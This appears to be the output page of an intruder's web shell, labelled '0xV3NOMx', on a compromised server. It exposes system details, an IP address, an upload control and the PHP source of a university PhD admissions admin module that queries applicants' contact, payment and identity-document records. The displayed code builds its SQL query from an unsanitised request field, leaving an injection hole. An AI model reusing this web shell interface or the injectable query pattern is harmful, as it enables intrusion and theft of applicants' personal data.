0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 52.14.26.141


Current Path : /var/www/html/phdadm/admin-src/
Upload File :
Current File : /var/www/html/phdadm/admin-src/applicationview_acu.php

<?php
function loadDegreeRange($aobj_context){
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);  
	
	$query1 = "select concat(fdegree,'*',fcombcode)as fdegree, 
               concat(fdeggname,' - ',fcombname)as fdesc 
               from phdcoursedet";
    $result1 = $aobj_context->mobj_db->GetAll($query1);
	if($result1)
	{	
		echo $aobj_context->mobj_output->ToJSONEnvelope($result1,0,"success"); 
	}	
	else
	{	
		$arr = "Some Failure as occured";
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"error"); 
	}
}

function loadAppDetailsView_acu($aobj_context){
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);  
    $fdept = $aobj_context->mobj_data["fdept"];
    $splitdegree = explode("*",$fdept);
    $fdegree = $splitdegree[0];
    $fcombcode = $splitdegree[1];

    if($fdept == "all"){
        $cond = " ";
    }else{
        $cond = "where d.fcombcode='{$fcombcode}' and d.fdegree='{$fdegree}'";
    }

    $query = "SELECT d.fdegree,fdeggname,d.fcombcode,d.fcombname,s.fapptype,p.fappno,p.fname,
    ifnull(s.fpaydoc,'') AS fpay,
    IFNULL(dc.fphotopath,'')AS fphoto,IFNULL(dc.fsignpath, '')AS fsign,IFNULL(dc.faadhaarpath,'')AS faadhar,IFNULL(dc.fproofent,'')AS fproof,
    IFNULL(dc.fnoc,'')AS fsnoc,IFNULL(dc.fexp,'')AS fexpr,IFNULL(dc.fpublication,'')AS fpublic,IFNULL(dc.fphdent,'')AS fphd,
    p.fmobileno,p.femail,IFNULL(s.fpayid,'') AS fpayid,
    IFNULL(s.famount,'') AS famount,s.fpaymode,s.fbank,s.fbranch,
    IFNULL(DATE_FORMAT(s.fdate,'%d/%m/%Y'),'')AS fdate,
    ifnull(pa.fdegdoc,'')as fdegdoc
    FROM phdstudadm p INNER JOIN phdappfor s ON p.fappno = s.fappno
    INNER JOIN phdcoursedet d ON s.fdegree = d.fdegree AND d.fcombcode = s.fcombcode 
    LEFT JOIN phdupdoc dc ON p.fappno = dc.fappno 
    LEFT JOIN (select fappno,fdegdoc from phdacademic where fdegree = 'SSLC') pa 
    ON  p.fappno = pa.fappno
    and dc.fappno = pa.fappno
    $cond
    ORDER BY d.fdegree,d.fcombcode,p.fappno;";
    // var_dump($query);die();
    $result = $aobj_context->mobj_db->GetAll($query);
    
    if($result)
	{	
		echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); 
	}	
	else
	{	
		$arr = "Some Failure as occured";
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"error"); 
	}
}

?>